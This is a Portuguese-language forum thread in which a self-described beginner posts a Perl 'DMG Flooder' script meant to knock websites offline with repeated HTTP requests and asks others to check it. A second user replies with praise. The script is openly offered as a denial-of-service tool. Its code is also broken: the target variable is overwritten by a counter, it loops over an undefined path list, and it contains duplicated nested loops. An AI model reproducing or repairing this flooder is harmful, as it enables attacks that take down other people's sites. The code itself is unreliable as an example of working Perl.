Perl Teste de Script

[danklis danklis]

Olá galera,,,

criei um script Perl que serve pra floodar sites, e ainda não tenho certeza se ele funciona, pois sou iniciante na lingugem, por isso eu estou colocando ele aqui para vcs darem uma olhada, e me ajudar se tiver algo errado...

#!/usr/bin/perl

use HTTP::Request;
use LWP::UserAgent;


###############CABEÇALHO##########################
####NÃO RETIRE OS CRÉDITOS ######################

# Desenvolvido por Danklis
# E-mail: danilo.danklis@gamil.com
# DMG Flooder v 1.0

print "\n DMG Flooder.pl\n";
print " Desenvolvido por Danklis\n";
print " Derrube sites com muito pouco tempo!\n\n";

print "Entre com o site para ataque: ";
$site = <STDIN>;
chomp $site;

if ( $site !~ /^http:/){
$site = 'http://' . $site;
}

print "O site digitado é: $site.\nTecle S para cotinuar.\n(Para parar o ataque tecle: Crtl + C): ";
$op = <STDIN>;
chomp $op;

while ( $op !~ "S" ){

print "\n DMG Flooder.pl\n";
print " Desenvolvido por Danklis\n";
print " E-mail: danilo.danklis@gmail.com\n\n";

print "Entre com o site para ataque: ";
$site = <STDIN>;
chomp $site;

if ( $site !~ /^http:/){
$site = 'http://' . $site;
}

print "O site digitado é: $site.\nTecle S para cotinuar.\n(Para parar o ataque tecle: Crtl + C): ";
$op = <STDIN>;
chomp $op;

while ( $op !~ "S" ){



}

while ( $op == "S" ){
for ( $site = 1000000; $site < 10000000; ++$site){

print "$site\n";

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

}
}

print "O site foi atacado com sucesso!";
}

}

while ( $op == "S" ){
for ( $site = 1000000; $site < 10000000; ++$site){

print "$site\n";

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

}
}

print "O site foi atacado com sucesso!";
}

[luhzao]

Achei muito bacana, também estou começando em Perl, porém estou me dedicando mais agora em Python.